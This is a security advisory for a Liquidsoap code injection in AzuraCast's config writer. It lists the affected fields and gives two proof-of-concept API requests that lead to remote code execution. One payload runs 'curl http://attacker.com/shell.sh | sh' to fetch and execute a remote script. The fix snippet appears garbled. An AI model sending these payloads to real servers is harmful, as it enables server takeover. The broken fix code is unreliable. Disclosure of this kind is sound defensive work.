PT-2026-26498 · Packagist · Azuracast/Azuracast

Publicado

2026-03-09

·

Atualizado

2026-03-09

CVSS v3.1

8.7

Alta

VetorAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
php
public static function cleanUpString(?string $string): string
{
  return str replace(['"', "
", "r"], [''', '', ''], $string ?? '');
}
This function only replaces " with ' and strips newlines. It does NOT filter:
  • #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
  • `` — Backslash escape character
Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
FieldPermission RequiredConfig Line
playlist.remote urlMediainput.http("...") or playlist("...")
station.nameProfilename = "..."
station.descriptionProfiledescription = "..."
station.genreProfilegenre = "..."
station.urlProfileurl = "..."
backend config.live broadcast textProfilesettings.azuracast.live broadcast text := "..."
backend config.dj mount pointProfileinput.harbor("...")

PoC 1: Via Remote Playlist URL (Media permission)

http
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API KEY WITH MEDIA PERMISSION>

{
  "name": "Malicious Remote",
  "source": "remote url",
  "remote url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
  "remote type": "stream",
  "is enabled": true
}
The generated liquidsoap.liq will contain:
liquidsoap
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))
When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

http
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API KEY WITH PROFILE PERMISSION>

{
  "name": "My Station",
  "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
Generates:
liquidsoap
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during:
  • Normal station restart by any user with Broadcasting permission
  • System updates and maintenance
  • azuracast:radio:restart CLI command
  • Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and ``:
php
public static function cleanUpString(?string $string): string
{
  return str replace(
    ['"', "
", "r", '', '#'],
    [''', '', '', '', '#'],
    $string ?? ''
  );
}

Correção

Code Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-93FX-5QGC-WR38

Produtos afetados

Azuracast/Azuracast